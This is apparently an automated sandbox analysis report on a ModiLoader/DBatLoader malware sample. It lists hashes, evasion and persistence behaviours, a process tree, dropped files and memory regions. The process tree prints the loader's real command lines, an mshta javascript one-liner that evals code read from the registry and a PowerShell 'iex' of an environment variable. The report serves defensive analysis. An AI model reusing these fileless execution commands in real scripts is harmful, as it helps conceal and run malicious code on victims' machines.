Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    06/09/2024, 14:28

General

  • Target

    cfbf8e8b344e8768fa9322144423b095_JaffaCakes118.exe

  • Size

    359KB

  • MD5

    cfbf8e8b344e8768fa9322144423b095

  • SHA1

    7af843b2da24d8f24641518db46794875e69fa23

  • SHA256

    586b55b7d08e42134513349c3d94cfda23f1b998e9faa7757d20e1b196989759

  • SHA512

    5d8e77a45960b0a592e6cf9f223027a20bb3a77796bee805b4c962f2ce2e7bd98ab6a9c730a5a6300460feb52cd0ca728561b25a4c3cd9061d0f928ef9800642

  • SSDEEP

    6144:1R+X6Y1VfFBfv9zZ7FVvTLrlp1ATv4QCkhRsDoO3Ay1Az:1AX6CVfrfpV7sv4QxcFQy1M

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
  • ModiLoader Second Stage 57 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cfbf8e8b344e8768fa9322144423b095_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\cfbf8e8b344e8768fa9322144423b095_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:2200
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:S1mZs0="fZ";J8i0=new%20ActiveXObject("WScript.Shell");b0w6Gu="wo6u";MBgp8=J8i0.RegRead("HKCU\\software\\iTDkS5JhH\\EHZcTuzVzh");iVnTr6="gUJD7";eval(MBgp8);Ot87Uv="Qa7";
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:2636
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:etwbn
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2884
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32.exe
        3⤵
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VirtualBox drivers on disk
        • Looks for VMWare Tools registry key
        • Checks BIOS information in registry
        • Deletes itself
        • Adds Run key to start application
        • Maps connected drives based on registry
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:3004
        • C:\Windows\SysWOW64\regsvr32.exe
          "C:\Windows\SysWOW64\regsvr32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2740

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\48e823e6\7a4d1bb9.bat

    Filesize

    74B

    MD5

    ef7449fc301774a932346a33a713eb9d

    SHA1

    56597c65bf825d44e3a4ca994a125d1d39896f21

    SHA256

    8978801d4a3aee31a10fed7b2064d5fa7dde57b05f94f9a62d76c58f15c74ab5

    SHA512

    f6c59ed056de2dd56d1743ebbe3caccc82679b1cedb0d2f025785c838180da891d3369962ce0f5db2bdb218b7bce71bc45640ba1d96afa9fa9e556b23a2ba103

  • C:\Users\Admin\AppData\Local\48e823e6\ed860438.099623838

    Filesize

    20KB

    MD5

    8f284823f1d5350bb160ba2f49e07e4a

    SHA1

    78ae65c78fb80d351f752a83bfbe3e5deaedc306

    SHA256

    b576b4e502ad61e3032b4bc7a3aea537543e22349a05203f68299de14726c26d

    SHA512

    3e0cd9f95836250d88e413b37f6c4e1eddfab601ec6bce4727258e65e79604ff5d27070af8a68cb742f6ad8d3a84cb8568ca0db0777b8dbfe2ec4c2862f01981

  • C:\Users\Admin\AppData\Local\Temp\Cab12E7.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Tar12F9.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/2200-7-0x00000000004C0000-0x000000000059C000-memory.dmp

    Filesize

    880KB

  • memory/2200-8-0x00000000004C0000-0x000000000059C000-memory.dmp

    Filesize

    880KB

  • memory/2200-3-0x0000000000400000-0x0000000000460710-memory.dmp

    Filesize

    385KB

  • memory/2200-4-0x00000000004C0000-0x000000000059C000-memory.dmp

    Filesize

    880KB

  • memory/2200-2-0x00000000004C0000-0x000000000059C000-memory.dmp

    Filesize

    880KB

  • memory/2200-9-0x00000000004C0000-0x000000000059C000-memory.dmp

    Filesize

    880KB

  • memory/2200-0-0x0000000000400000-0x0000000000460710-memory.dmp

    Filesize

    385KB

  • memory/2200-55-0x00000000004C0000-0x000000000059C000-memory.dmp

    Filesize

    880KB

  • memory/2200-5-0x00000000004C0000-0x000000000059C000-memory.dmp

    Filesize

    880KB

  • memory/2200-6-0x00000000004C0000-0x000000000059C000-memory.dmp

    Filesize

    880KB

  • memory/2200-1-0x0000000000457000-0x0000000000459000-memory.dmp

    Filesize

    8KB

  • memory/2740-66-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-68-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-62-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-63-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-64-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-65-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-67-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-61-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-69-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-70-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-71-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-72-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2740-73-0x0000000000250000-0x000000000039A000-memory.dmp

    Filesize

    1.3MB

  • memory/2884-17-0x0000000006100000-0x00000000061DC000-memory.dmp

    Filesize

    880KB

  • memory/2884-14-0x0000000006100000-0x00000000061DC000-memory.dmp

    Filesize

    880KB

  • memory/2884-13-0x00000000054C0000-0x00000000054C1000-memory.dmp

    Filesize

    4KB

  • memory/3004-37-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-36-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-33-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-32-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-31-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-30-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-29-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-28-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-26-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-25-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-24-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-23-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-22-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-20-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-27-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-35-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-41-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-46-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-49-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-50-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-51-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-52-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-48-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-47-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-38-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-39-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-40-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-34-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-21-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-19-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-18-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/3004-15-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB